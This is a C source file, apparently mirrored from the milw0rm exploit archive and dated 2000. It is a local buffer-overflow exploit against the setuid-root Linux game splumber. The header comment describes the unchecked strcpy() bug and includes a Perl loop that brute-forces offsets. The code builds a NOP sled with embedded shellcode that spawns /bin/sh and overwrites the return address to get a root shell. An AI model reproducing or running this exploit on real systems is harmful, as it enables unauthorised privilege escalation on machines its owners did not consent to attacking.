477bcbdcc0
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52 lines
1.8 KiB
Perl
Executable file
52 lines
1.8 KiB
Perl
Executable file
/*
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(linux)splumber[version2] buffer overflow, by v9[v9@fakehalo.org]. this is
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a misc. exploit for the linux-SVGAlib space plumber game. which, as you
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know needs to be installed setuid root. this overflow is due to a simple
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oversight in the command line parser. uses strcpy() to copy to an unchecked
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250 byte buffer.
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note: i also noticed, other than just being setuid root in the makefile, it
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sets splumber's permissions to 4777. *g*
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...and here is the perl script for the lazy person:
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#!/usr/bin/perl
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$i=$ARGV[0];
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while(1){
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print "using offset: $i.\n";
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system("./xsplumber $i");
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$i+=50;
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}
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*/
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#define PATH "/usr/games/splumber" // change to the correct path.
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#define BUFFER_SIZE 257 // don't change.
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#define DEFAULT_OFFSET -300 // worked for me.
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static char exec[]=
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"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56"
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"\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80"
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"\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01"; // still like it.
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long esp(void){__asm__("movl %esp,%eax");}
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int main(int argc,char **argv){
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char bof[BUFFER_SIZE];
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int i,offset;
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long ret;
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if(argc>1){offset=atoi(argv[1]);}
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else{offset=DEFAULT_OFFSET;}
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ret=(esp()-offset);
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printf("*** (linux)splumber[version2] local buffer overflow, by v9[v9@fakehalo.org].\n");
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printf("*** return address: 0x%lx, offset: %d.\n",ret,offset);
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for(i=0;i<(252-strlen(exec));i++){*(bof+i)=0x90;}
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memcpy(bof+i,exec,strlen(exec));
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*(long *)&bof[i+strlen(exec)]=ret; // perfect, not lazy for once.
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bof[BUFFER_SIZE-1]=0;
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if(execlp(PATH,"splumber",bof,0)){
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printf("error: program did not execute properly, check the path.\n");
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exit(0);
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}
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}
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# milw0rm.com [2000-11-17]
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